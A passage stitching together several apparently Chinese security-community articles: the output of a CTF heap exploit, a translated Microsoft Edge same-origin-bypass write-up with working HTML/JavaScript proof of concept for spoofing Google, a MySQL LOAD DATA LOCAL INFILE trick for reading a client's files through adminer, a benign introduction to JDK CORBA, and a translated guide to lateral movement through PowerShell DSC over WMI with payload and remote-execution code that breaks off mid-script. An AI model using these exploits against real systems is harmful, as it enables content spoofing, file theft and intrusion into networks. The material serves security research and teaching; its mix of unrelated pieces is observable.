[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 ...
[+] Cloning host, with uninitialized memory this one should have is_conscious...
[+] Removing current friends of pwnrobot...
[+] Moving a guest to the maze center (37, 86) -> (38, 41)...
[+] Moving our host to the maze center (38, 29) -> (38, 41)...
[+] pwnrobot should now be a human... kill him!
[+] Removing all pwnrobot's friends...
7 / 7 ...
[+] Decrement the refcount of pwnrobot's human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 ...
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr...
[+] Dumping heap @ 0x18a6eae6b40...
[+] Dumping heap @ 0x18a6eae7b40...
[HEAP] 0x18a6eae7b40
[00] - 0x18a6ea96c72
[01] - 0x18a6ea9c550
[02] - 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40...
[HEAP] 0x18a6eae8b40
[00] - 0x3ab7faf120
[01] - 0x3ab7faf4f0
[02] - 0x18a6ea9c550
[03] - 0x18a6eae84c0
[04] - 0x18a6eae8560
[05] - 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
[-] Haven't found saved RIP on the stack. Increment stack pointer...
RIP at offset 0x8
[+] Overwrite stack with ROPchain...
[+] Trigger ROP chain...
Better not forget to initialize a robot's memory!Flag: INS{I pwn, therefore I am!}[+] Exploit completed.
**
**
**0x09 总结**
你能在[
**这里**](https://github.com/Insomnihack/Teaser-2017/blob/master/winworld/exploit/sploit.py)
找到完整的利用。 | 社区文章 |
原文：[Edge – SOP bypass courtesy of the reading
mode](https://www.brokenbrowser.com/sop-bypass-abusing-read-protocol/)
原作者: [Manuel Caballero](https://twitter.com/magicmac2000)
译： **Holic (知道创宇404安全实验室)**
Microsoft Edge
团队近期发了篇关于[阅读模式](https://twitter.com/MicrosoftEdge/status/852929511259856898)的推特，这项功能可以消除网页上的一些混乱元素，以便专心阅读。这对我来说不是新鲜事，但直到这封推文提醒我，我去了解[伪协议在
Edge 上如何运行](https://www.brokenbrowser.com/abusing-of-protocols/)的时候才去学了相关知识。你若想赶紧看结果，请看 [PoC
视频](https://youtu.be/b0Ci2f7Mt8c)，不然继续往下读吧。
要查看阅读模式，请加载网站，点击阅读视图按钮（像是一本书的图标）。
该项功能还可以保护视力。
然而，这个页面的真实地址是什么呢？打开开发者工具（F12）并在控制台中输入 `location.href`。显然，Edge 在 URL 前面添加了
`read:` 伪协议。
> 以下漏洞适用于所有的 Edge 版本，但 PoC 本身是针对 Edge 15
> （创意者更新之后）构造的。要想在旧版本上运行，需要修改一下以便阅读模式下能够顺利进行渲染。
### 阅读模式是一种内部资源
阅读模式与真实网站无关。如果我们看源码的话（按下 CTRL U），我们看到并没有追溯到原始页面。实际上，这是个托管在文件系统的内部资源。
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\ReadingView
Edge 解析原始页面的内容，删除 iframe/scripts 以及其他 html 标签，最后将其在内部阅读视图 html 中托管的 iframe
中进行渲染。但所有的这些细节都会在后台发生，用户会有一种还在原始网站上的错觉，因为地址栏并没有发生改变。
但是，如果 Edge 通过在 URL 之前设置 "read:"
协议的方法实现在阅读页面下渲染页面，这一点能利用脚本实现吗？我们可以在阅读模式下加载任意网址吗？
### 强制进入阅读模式
我们看看能不能用添加前置 `read:` 协议的方法，强制将任意 URL 渲染为阅读模式。
location.href = "read:http://www.cracking.com.ar"; // prepending read: does the trick
效果拔群，而有件事却引起了我的注意： **地址栏中的 URL 是`crack.com.ar` 而渲染的内容来自
`brokenbrowser.com`**。什么情况？如果我们访问 crack.com.ar 我们会看到 location.replace 将其跳转至
brokenbrowser.com ，而 Edge 并没有更新其地址栏！
> 漏洞 #1 - 当脚本或 http 重定向发生时，Edge 并不会更新地址栏。
### 找出有趣的重定向
这意味着我们可以使用开放的重定向欺骗任何网站，甚至更好的情况是，这些网站已经重定向至我们可控的站点。比如，如果我们可以使 google.com
重定向到一个恶意的页面，那么用户将会认为内容来自 google，而实际上是来自 evil.com。
顺带一提，考虑到所有搜索结果都是重定向至目标的形式，在 google 上进行欺骗并不困难。例如，google 从 cracking.com.ar 索引了
"cracking-01.html"
页面，如果我们找到重定向至该页面的原始链接，一切便尽在掌握之中。因为这是我自己的服务器，我能随意改变它！这能行得通吗？我打开了
Chrome，鼠标在链接上悬停一会儿，在 google 上找到重定向到我服务器（crack.com.ar）的链接。请记住：我们的目标是找到重定向至
crack.com.ar 的 Google URL，该网站受我所控。
### 阅读模式下的重定向
现在 google.com.ar 上有了重定向到 crack.com.ar 的 URL。在 crack.com.car 中有一段文字:" Not
really Google" ，因此我们能够轻易分辨出内容的来源所在。以下是使用前缀 `read:`协议的 google 重定向，在 Edge
中打开的话显示如下：
read:https://www.google.com.ar/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwiRx_eksaTTAhURl5AKHcrxCuoQFgggMAA&url=http%3A%2F%2Fwww.cracking.com.ar%2Fcracking-01.html&usg=AFQjCNGa3PACMDlI6RdBOnoEfySVh1C2ZQ
Wow!不错的内容欺骗，可惜是在阅读模式！这说明我们不能够完全控制页面的外观。还要记得：Edge 在渲染我们的小把戏之前会去除大量的 html
内容。例如，iframe 和 script 都会被移除，JavaScript 链接也不奏效（多亏了渲染正文之前的 META CSP
标签）。那么如何自定义页面，并摆脱那个淡黄色的背景呢？又怎么在其中运行脚本呢？
### 在阅读模式中运行脚本
处于阅读模式之际， Edge 会尽量把内容保持成静态的，即不允许运行脚本，iframe
也会被去除，诸如此类。换而言之，最终的内容看起来像是一本书，而不是一个网页。而我们将尝试打破这种静态阅读模式的障碍，这种像是一切都被冻住的状态。
我来助你一臂之力，捉虫猎手：我手工测试了几个 html 标签，比如 **iframe/script/meta** ，但是这些都被正确地移除了。然后我尝试了
**object/html** 标签，我很惊讶，竟然可以的！比想象中的更容易，object/html 标签类似 iframe ：他们都是可以运行
script 的 html 容器。
> **漏洞 #2 - Microsoft Edge 在阅读模式下没有移除 object 标签。**
那么，如果在 crack.com.ar 中的页面中添加一个 object 标签，然后弹出一个提示，那么它应该会令人信服。
<!-- prompt.html does a window.prompt with the hard coded "google.com needs..." message -->
<object data="http://www.cracking.com.ar/prompt.html"></object>
现在，Edge 认为首页的源是 google.com.ar（实际上是 crack.com.ar），object/html 的源是
crack.com.ar（这个是真实情况）。那么问题来了，捉虫猎手，我们被困在这个小盒子中，我们可以抛出 prompt/alert，但是无法访问顶部。
假如想把顶部的背景更改为白色，或者其它更有说服力的攻击手段，我们需要绕过同源策略，或者不更改地址栏就能设置顶部的 URL。试试前者的 SOP 绕过吧。
### <object> 盒子之外的思考
如何代表顶部的域来渲染任意 html 代码，以真正访问到它呢？ **data uri** 这里是可控的。与在 cracking.com.ar
上托管内容不同，使用 data uri 渲染 html，就像这样：
<!-- object rendering a data uri -->
<object data="data:,<script>alert(top.location)</script>"></object>
<!-- ACCESS DENIED data uris have their own unique origin -->
Oppss!没那么顺利。Edge 不允许我们利用 data uri 访问其他文档，这种做法很好！所有 _浏览器都把 data uri 作为与创建者
**不同** 的独立源进行渲染_。但是在 Edge 上这个限制很容易绕过：在加载页面之后使用一个 self-document.write
就能匹配父页面的域了。
<object data="data:,<script>
window.onload = function()
{ // Executing a document.write in a data uri after the onload
// changes the location of the object to its parent URL.
document.write('<script>alert(top.location.href)<\/script>');
document.close();
}
</script>"></object>
<!-- Now we have the same location as our top -->
Yes，捉虫猎手！这回是 **真正** 访问 Google 的顶级域名了。此时，我们完全可以访问渲染阅读模式的内部 html 代码，而不用其改变任何东西，用
top.document.write 即可摆脱淡黄色的背景。
<object data="data:,<script>
window.onload = function()
{
document.write(
'<script>'+
'top.document.write(\'Trust me, we are on Google =)\');'+
'top.document.close()'+
'<\/script>');
document.close();
}
</script>"></object>
**[[Test the PoC Live on Edge](https://www.cracking.com.ar/demos/edgeread/)
]**
**[[Video in YouTube](https://youtu.be/b0Ci2f7Mt8c) ]**
所需离线文件[点此下载](http://paper.seebug.org/papers/Archive/read-sop.zip)
以我之见，贵在坚持，但这次很幸运，要感谢[原推文](https://twitter.com/MicrosoftEdge/status/852929511259856898)，以及初始重定向。我确信继续探索会发现更多的东西，我的读者朋友，很多时候我不会深入这些
bug，所以它们还有更多的扩展空间， **要把它变成自己的！** 下面传授一些人生经验吧 - 就像身经百战的 Richard Feynman - [the
pleasure of finding things out](https://www.amazon.com/Pleasure-Finding-Things-Out-Richard/dp/0465023959/)。我不是科学家，但[这本书](https://www.amazon.com/Pleasure-Finding-Things-Out-Richard/dp/0465023959/)深深地打动了我：
> Why do we do science? Beyond altruistic and self-aggrandizing motivations,
> many of our best scientists work long hours seeking the electric thrill that
> comes only from learning something that nobody knew before.
此致。除了好奇心和坚持，没有什么比得上『electric thrill』了，探索，研究，学习，更重要的是开心！
Have a nice day! ?
* * * | 社区文章 |
### 起因：
和师傅们在群里面进行了一番学术性探讨，突然想起来有这么个东西，还是和领导偷的。
### LOAD DATA语句介绍：
> MySQL 中提供了LOAD DATA INFILE语句来插入数据。 以下实例中将从当前目录中读取文件 dump.txt
> ，将该文件中的数据插入到当前数据库的 mytbl 表中。
也就是说将客户端文件读入到mysql表中，phpadminer可以连接远程数据库，那么这样就可以在远程数据库中读到本地文件。
### 环境搭建：
1. adminer
2. 远程服务器搭建mysql
3. 开启mysql外链
### 环境搭建：
打开phpmyadminer页面，可以发现他允许链接远程数据：
这里我在百度云申请了一个免费的mysql云服务器：
然后使用phpadminer成功的登录了进来：
然后创建了一个test数据库以及name字段：
### LOAD DATA读取数据:
SQL语句：
LOAD DATA LOCAL INFILE 'C:\\Windows\\win.ini' INTO TABLE table;
此时在进入云数据库查看我的win.ini 是不是导入到云服务器上去了：
### 小结:
也就是说，当目标使用phpadminner进行数据管理时，我们可以直接连接自己的数据库来达到读取客户端文件的目的。这样就可以直接读取到目标的数据库配置文件，在使用目标的phpadminer连接了。 | 社区文章 |
**作者：蚂蚁安全非攻实验室
公众号：[蚂蚁安全实验室](https://mp.weixin.qq.com/s/FxAKuX9IY6dLuhMuWjJMqQ)**
## 特别推荐
**诸葛建伟 清华大学网络科学与网络空间研究院副研究员**
“对非可信数据的反序列化”一直是应用安全领域中常见且高危的安全漏洞类型，在各种不同Web开发语言、分布式架构及中间件框架中大面积流行，也经常被攻击者发掘并利用形成对业务应用的远程代码执行突破口。网络安全研究领域对反序列化漏洞已有较多研究和技术文章的发表，甚至学术界也曾对此问题进行过关注与研究。
而正如文章标题所指，蚂蚁安全实验室的这篇分享揭密了反序列化安全风险的一个“隐秘角落”：Java开发分布式应用中流行使用的COBRA架构，这个角落直到2019年才被研究者公开涉足。本文以由浅入深，案例驱动的方式详细介绍了COBRA基本架构及其应用细节，并全方位地从不同角度分析了COBRA架构所面临的反序列化漏洞风险，技术内容的详尽程度与行文风格对Web安全的研究人员和技术爱好者都非常友好，对理解Java
COBRA架构的最新安全风险有很大的帮助。
## 一、背景
在移动互联网时代，互联网平台为了服务海量用户和支持高并发业务场景，服务端分布式架构已经成为了主流的应用部署架构。CORBA、JAVA
RMI、DCOM等分布式技术先后诞生且得到了广泛应用，其安全性也成为影响互联网生态安全的重要因素。以CORBA为例，目前其协议仍然被很多JAVA中间件、基础设施支持，例如weblogic、websphere、glassfish等，研究其协议实现的安全性，对于互联网基础设施安全防护有着重要价值。
在JAVA分布式架构中存在着大量的序列化与反序列化操作令人担心其安全风险，但并非所有的反序列化框架都存在安全风险，为此于今年我们提出了开放动态反序列化（ODD，Open
Dynamic
Deserialization）的概念以揭示反序列化中真正的安全风险。ODD简单来说就是应用架构支持在反序列化过程中动态生成任意类型的对象。ODD的核心是“开放”和“动态”，是为了提升应用开发的灵活性和效率而设计。但是从安全角度来说，“开放”和“动态”本质上是不安全的，它容易失去对程序行为的控制，导致非安全输入对程序行为的任意劫持，从而形成一个集中的RCE(远程代码执行)突破点。
ODD这种漏洞本质虽然是我们在今年的fastjson应急中总结并明确的，但这种漏洞类型在历史上已经引起了大量的安全问题，各类分布式技术以及系统均受到了非常大的挑战。2015年Gabriel
Lawrence和Chris Frohoff在AppSecCali上发表的著名安全报告"Marshalling
Pickles"，提出了POP(Property-Oriented
Programing)攻击链，能够利用JAVA体系中ODD设计导致的安全缺陷实现RCE，ODD类型反序列化漏洞在JAVA领域影响面被急剧扩大。在报告中，作者也明确警告
Avoid magic -- Avoid open-ended (de)serialization when
possible，即不要做开放式反序列化。但显然业界并没有把这个警告当回事，ODD安全漏洞愈演愈烈，首当其冲的就是 JAVA RMI
及其相关应用系统。@pwntester在2016年black hat黑客大会中提出了针对 **JAVA RMI技术的一系列攻击方式**
，除在当时的安全研究圈引起巨大轰动以外，其攻击思路至今仍然被各red team引用并作为其主要武器之一。
过去几年，行业中针对CORBA安全性的公开分享并不多。直到2019年，@An Trinh在当年的blackhat黑客大会上提出了 **针对 IIOP
协议的反序列化攻击方式** ，而 IIOP正是用来在CORBA对象请求代理之间交流的协议。此后RMI-IIOP相关的漏洞井喷式爆发， 2020年相关
CVE数量多达20+且基本都能造成 RCE，例如经典的 **CVE-2020-4450** 和 **CVE-2020-2551** 。
我们的JAVA安全研究工作很早就已经覆盖CORBA，出于“抛砖引玉”的想法，我们把研究过程中积累的思路和经验形成两篇文章分享出来：
**· 隐秘的角落--JDK CORBA 安全性研究（上）：介绍CORBA基本架构以及浅析实现细节，为后续安全风险分析打基础。**
**· 隐秘的角落--JDK CORBA 安全性研究（下）：从客户端、服务端和通信协议三部分，全方位分析CORBA安全风险，并讨论如何防范。**
## 二、基础概念
**什么是 CORBA？**
CORBA 从概念上扩展了 RPC，它是一种面向对象的 RPC，RPC 应用都是面向过程的，而 CORBA 应用是面向对象的。
**那么什么是RPC？**
RPC（Remote Promote Call） 远程过程调用协议。RPC使得程序能够像访问本地系统资源一样，去访问远端系统资源。
简单的说，RPC就是从一台机器(客户端)上通过参数传递的方式调用另一台机器(服务器)上的一个函数或方法(可以统称为服务)并得到返回的结果。
CORBA 流程设计如下：
CORBA 体系如下：
（静态存框->静态存根）
客户端调用静态存根(static stubs)向服务器发出请求，存根(stubs)是代理对象支持的客户端程序。
服务器端调用静态框架(static skeleton)处理客户端请求，框架(skeleton)是服务器端程序。
一些基础术语，如下（可跳过，在详细阅读后文过程中再查看）：
**IOR** ：可互操作对象引用，类似 JDBC 数据库连接信息或者 JNDI 连接信息对象等，用于传输对象之间的操作信息。
**ORB** （Object Request Broker）：对象请求代理。ORB 是一个中间件，他在对象间建立客户-服务器的关系。通过
ORB，一个客户可以很简单地使用服务器对象的方法。ORB
截获客户端的方法调用，然后负责找到服务端方法实现并且传递参数，最后将返回方法执行结果。客户不用知道对象在哪里，是什么语言实现的。
**ORBD** （ORB守护程序）：负责查找 IOR 指定的对象实现，以及建立客户机和服务器之间的连接。一旦建立了连接，GIOP
将定义一组由客户机用于请求或服务器用于响应的消息。
**GIOP** （General Inter-ORB Protocol）：GIOP
元件提供了一个标准传输语法（低层数据表示）和ORB之间通信的信息格式集。GIOP只能用在ORB与ORB之间，而且，只能在符合理想条件的面向连接传输协议中使用。
**IIOP** （Internet Inter-ORB Protocol）：IIOP 是 CORBA 的通信协议，用于CORBA对象RPC请求之间的交流。
**IDL** ：IDL全称接口定义语言，是用来描述软件组件接口的一种规范语言。用户可以定义模块、接口、属性、方法、输入输出参数。Java 中提供了
idlj 命令用来编译 IDL 描述文件，用以生成 Java 语言的 客户端 java 文件等。
**CORBA与ORB的关系**
：CORBA的分布式对象调用能力依赖于ORB，而ORB之间进行通信是通过GIOP协议完成的。GIOP定义了ORB之间互操作的传输语法和标准消息格式，比如请求头、请求体所包含的字段和长度。
**IIOP与GIOP的关系** ：IIOP与GIOP的关系就象特殊语言与OMG
IDL之间的关系；GIOP能被映射到不同层，它能指定协议。就象IDL不能见着完整的程序一样，GIOP
本身也不能提供完整的协作工作。IIOP和不同传输层上的其它相似映射，实现抽象的GIOP定义。GIOP是一个抽象的协议，而IIOP是其一个具体的实现，定义了如何通过TCP/IP协议交换GIOP消息。
## 三、环境准备
首先，尝试 **构建一个简单的 corba 应用** 。
这里已经准备好了一套 **JDK CORBA 环境** ，git clone 后直接使用 idea 打开即可，代码都是在 JDK 8u221 环境中运行过。
## 四、idl 简单编写以及idlj 使用
首先编写一个简单的 hello.idl，如下：
module com {
interface Hello{
string sayHello();
};
};
如上，module 名在 java 源码中表示为 package，设置一个接口类 Hello，类中含有一个无参、返回类型为 String 的
sayHello 函数。
然后使用 JDK 自带的 idlj 工具生成 client 和 server 代码，命令如下：
idlj -fall hello.idl
注：idlj -fall hello.idl 可以生成 server 、client 端所需的所有 class，如果只需要 client 端或 server
端的话，使用 -fclient / -fserver 即可。
命令执行完成后，会直接在当前目录下生成 com 目录，目录中含有 6 个文件如下：
## 五、本地尝试
为了方便观察，我将 server 运行在本地。
首先启动 ORBD 服务器，运行如下命令，会监听本地 1050 和 1049 端口：
orbd -port 1050 -ORBInitialPort 1049 -ORBInitialHost localhost
随后运行 HelloServer，效果如下：
最后运行 HelloClient，效果如下：
如上图，已经调用成功了，接下来简单分析一下整个通信流程。
## 六、通信过程
经过简单的抓包分析，得出整个通信过程如下图：
如上图：
首先会启动 ORBD 作为 name service 的服务器，会创造 name service 服务。
第二步，corba server 端向 orbd 获取 name service，协商好通信格式。
第三步，orbd 返回自己保存的 name service。
第四步，corba server 端拿到 name service 后，会将自己的 corba 服务绑定到 name service 上面（流程和 rmi
类似）。
第五步，corba client 端这个时候想要查找 corba server 提供的某个服务，先向 orbd 发起请求，获取 name service。
第六步，orbd 来者不拒，将自己保存的 name service 返回给 client 端。
第七步，corba client 端利用 name service 查找到某个 corba server 端提供的服务（client 端获得的是
stub），然后发起一个 rpc 请求，要求 corba server 响应。
第八步，corba server 在监听到 corba client 端的请求后，一顿调用并且计算出结果，然后将其打包封装，最后返回给 corba
client。
以上，就是一个 corba 应用的一次远程调用的通信流程。
使用 wireshark 抓取通信流量，如下图：
## 七、Client 解析
Client 端主要是通过 stub 远程调用 Server 端。
stub 类是 client 端调用 orb 的媒介，stub 、orb 关系，借用一张图表述如下：
client 通过对 stub 的调用，间接调用了 server 端的函数实现。
stub 会对客户端的调用参数和调用请求进行封装交给 orb，而后 orb 通过调用分派机制与 server
端通信，server端获取到了cliant端的调用请求，将请求参数带入请求操作（调用函数）中，最终返回给 orb 一个 response，orb 传递给
client 的 stub ，stub 传递给 client 调用者，简单流程如下：
客户端含有 Hello 、_HelloStub.... 服务端含有 HelloImpl
#1 client 发起调用：sayHello()
->
#2 stub 封装 client 的调用请求，并发送给 orbd
->
#3 orb 接受请求，根据 server 端注册信息，分派给 server 端处理调用请求
->
#4 server 接受调用请求，执行 sayHello ，并将执行结果进行封装，传递给 orbd
->
#5 ordb 收到 server 端的返回后，将其传递给 stub
->
#6 stub 收到请求后，解析返回二进制流，提取 server 端的处理结果
->
#7 最终结果会返回给 client 调用者
## 八、stub的生成
stub 类是存在于 client 端的 server 端的 handle。生成方法有好几种，在此只列举三种，如下：
· 1. 使用代码先获取 NameServer ，然后 resolve_str
· 2. 使用 ORB.string_to_object
· 3. 使用 javax.naming.InitialContext.lookup
### 1\. 通过 NameServer 获取
示例代码如下：
Properties props = new Properties();
// 生成一个ORB，并初始化，这个和Server端一样
props .put("org.omg.CORBA.ORBInitialPort", "1050");
props.put("org.omg.CORBA.ORBInitialHost", "192.168.0.2");
ORB orb = ORB.init(args, props);
// 获得根命名上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
// 用NamingContextExt代替NamingContext.
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
// 通过名称获取服务器端的对象引用
String name = "Hello";
Hello hello = HelloHelper.narrow(ncRef.resolve_str(name));
### 2\. 通过 ORB.string_to_object
示例代码如下：
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj
= orb.string_to_object("corbaname::192.168.0.2:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
如上代码，传入的参数是 corbaname: 开头的字符串，string_to_object 支持三种协议：
corbaname: 、 corbaloc: 、 IOR:
#### 2.1 IOR
IOR 是一个数据结构，它提供了关于类型、协议支持和可用 ORB 服务的信息。ORB 创建、使用并维护该 IOR。
简单可以理解为，存储着 corba server 相关 rpc 信息，以 IOR:XXX 形式表现的字符串，如：
IOR:000000000000000100000000000000010000000000000027000100000000000b33302e35322e38382e370000041a00000000000b4e616d6553657276696365
#### 2.2 corbaloc
corbaloc 经过处理最终也是生成一个 IOR ，然后通过 IOR 创建出一个 stub
#### 2.3 corbaname
他的处理逻辑如下：
如上图，这完全和第一种通过 NameServer 获取 stub 的方式一样，后续的调用链在 client 安全风险分析过程中会展示出来。
### 3.通过 jndi （javax.naming.InitialContext.lookup）
代码如下：
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
// resolve the Object Reference using JNDI
Hello helloRef
=HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::192.168.0.2:1050#Hello"));
如上述代码，也是使用的 corbaname 作为协议开头，因为 jndi 同时支持3中写法：
iiopname:
iiop:
corbaname:
其中， iiopname 和 iiop 开头的协议串，最终会转换成 corbaloc 开头的协议串。corbaname 开头的协议，会触发
org.omg.CosNaming._NamingContextStub#resolve 调用。
resolve 函数 和 resolve_str 函数实现逻辑是一样的、执行结果也相同，只是参数类型不同而已。
## 九、client 端调用 rpc
使用方式目前只收集到 2 种：
· 1. 通过 client 端 stub 进行调用
· 2. 通过 Dynamic Invocation Interface（dii request）调用
### 1\. stub 调用
代码如下：
Properties props = new Properties();
// 生成一个ORB，并初始化，这个和Server端一样
props .put("org.omg.CORBA.ORBInitialPort", "1050");
props.put("org.omg.CORBA.ORBInitialHost", "192.168.0.2");
ORB orb = ORB.init(args, props);
// 获得根命名上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
// 用NamingContextExt代替NamingContext.
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
// 通过名称获取服务器端的对象引用
String name = "Hello";
Hello hello = HelloHelper.narrow(ncRef.resolve_str(name));
//调用远程对象
System.out.println(hello.sayHello());
### 2\. dii 调用
代码如下：
Properties props = new Properties();
// 生成一个ORB，并初始化，这个和Server端一样
props .put("org.omg.CORBA.ORBInitialPort", "1050");
props.put("org.omg.CORBA.ORBInitialHost", "192.168.0.2");
ORB orb = ORB.init(args, props);
// 获得根命名上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
// 用NamingContextExt代替NamingContext.
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
// 通过名称获取服务器端的对象引用
String name = "Hello";
Hello hello = HelloHelper.narrow(ncRef.resolve_str(name));
Request request = hello._request("sayHello");
request.invoke();
System.out.println(request.result().value());
如上述代码，在 stub 获取的部分和 stub 调用方式完全一样，后续是通过获取
com.sun.corba.se.impl.corba.RequestImpl 以此来进行 dii 调用的（Dynamic Invocation
Interface）。
## 十、Server 解析
### 服务注册
回顾一下 HelloServer 中注册服务的代码，如下：
// 获得命名上下文 NameService
org.omg.CORBA.Object objref = orb.resolve_initial_references("NameService");
// 使用NamingContextExt 它是 INS（Interoperable Naming Service，协同命名规范）的一部分
NamingContextExt ncRef = NamingContextExtHelper.narrow(objref);
// 绑定一个对象引用，以便客户端可以调用
String name = "Hello";
NameComponent[] nc = ncRef.to_name(name);
ncRef.rebind(nc, href);
如上代码，在获取到 NameService 后随即开始注册服务，服务名叫做 Hello，client 端可以通过服务名在 NameService
中搜索服务。在此调用 NamingContextExt#rebind 是向 ORBD 发送一个重绑定请求。
### 派遣请求
在服务绑定完成后，服务端会开始监听一个高端口等待客户端的连接通信。
下图是客户端发起请求后，服务端派遣请求的工作流程：
至此，JDK CORBA 基本概念介绍结束。
## 十一、安全风险
经过分析和探索，发现了 client 端、server 端、orbd 端含有如下风险点：
· client 端 ，存在反序列化风险和远程类加载风险
· server 端，存在反序列化风险
· orbd，存在反序列化风险
在下篇中，将会分析 JDK CORBA 中存在的风险点。
## 参考文献
RPC基本原理：<https://www.cnblogs.com/sumuncle/p/11554904.html>
CORBA Website：<https://www.corba.org/>
wiki：<https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture>
基本概念：<https://www.cnblogs.com/zhuchunling/p/9540541.html>
构建简单的 corba 应用：<https://blog.csdn.net/chjttony/article/details/6561466>
corba 简介：<https://blog.csdn.net/chjttony/article/details/6543116>
corba 通信过程浅析：<http://weinan.io/2017/05/03/corba-iiop.html>
## 关于作者
**蚂蚁安全非攻实验室**
：隶属于蚂蚁安全九大实验室之一。蚂蚁安全非攻实验室致力于JAVA安全技术研究，覆盖蚂蚁自研框架和中间件、经济体开源产品以及行业中广泛使用的第三方开源产品，通过结合程序自动化分析技术和AI技术，深度挖掘相关应用的安全风险，构建可信的安全架构解决方案。
* * * | 社区文章 |
# 如何滥用PowerShell DSC进行横向渗透
|
##### 译文声明
本文是翻译文章，文章原作者 Specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/abusing-powershell-desired-state-configuration-for-lateral-movement-ca42ddbe6f06>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、基本描述
PowerShell的[期望状态配置（Desired State
Configuration，DSC）](https://docs.microsoft.com/en-us/powershell/dsc/overview)可以让我们[使用WMI](https://blogs.msdn.microsoft.com/powershell/2015/02/27/invoking-powershell-dsc-resources-directly/)来直接执行[资源](https://docs.microsoft.com/en-us/powershell/dsc/resources)。通过DSC
WMI类，我们可以滥用[内置](https://docs.microsoft.com/en-us/powershell/dsc/builtinresource)的[脚本资源](https://docs.microsoft.com/en-us/powershell/dsc/scriptresource)来实现PowerShell代码的远程执行。这种横向渗透技术有如下几个有点：
1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征，因此从规避检测的角度来看，这种方法具备一定的优势（至少在本文发表以前）。
2、载荷的所有组件都仅依赖于WMI。
3、我们并不需要使用DSC服务的配置（甚至无需了解相关知识）。
## 二、具体需求
1、MSFT_DSCLocalConfigurationManager这个WMI类中必须存在ResourceTest方法，该类位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意：攻击者也可以选择调用ResourceGet或者ResourceSet方法。PowerShell
DSC从PowerShell v4中开始引入，因此并非所有主机都可以使用这种技术。
2、默认情况下，我们必须具备管理员凭据才能远程调用WMI方法。在远程调用时，WMI受[DCOM](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/securing-a-remote-wmi-connection)或者[WSMan](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/providers/wsman-provider?view=powershell-6)安全设置的保护。建立远程连接后，WMI本身通过与特定[命名空间](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/securing-wmi-namespaces)对应的安全描述符进行保护，在这种场景中，该命名空间为root/Microsoft/Windows/DesiredStateConfiguration。
## 三、PoC
第一个步骤是准备待执行的载荷。我们想在目标上执行的PowerShell代码必须采用[MOF](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/managed-object-format--mof-)格式。在目标上执行的某个示例载荷如下所示：
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = ""$(Get-Date): I am being GET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
SetScript = ""$(Get-Date): I am being SET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
'@
实际上，这里我们所需修改的唯一特征就是PowerShell载荷。在我们的示例中，我们将调用ResourceTest方法，该方法对应的是TestScript属性中的载荷。需要注意的是我们需要转义处理特殊字符。MOF自动化生成及载荷转义处理是可以自动化完成的操作。
下一个步骤是将MOF转化为二进制形式（ResourceTest方法所期望的数据格式）：
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
在上述代码中需要注意的是，如果我们在本地测试载荷，则无需将载荷长度添加到byte数组中。现在我们已经正确编码载荷，接下来只需要在目标上执行载荷即可。
# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
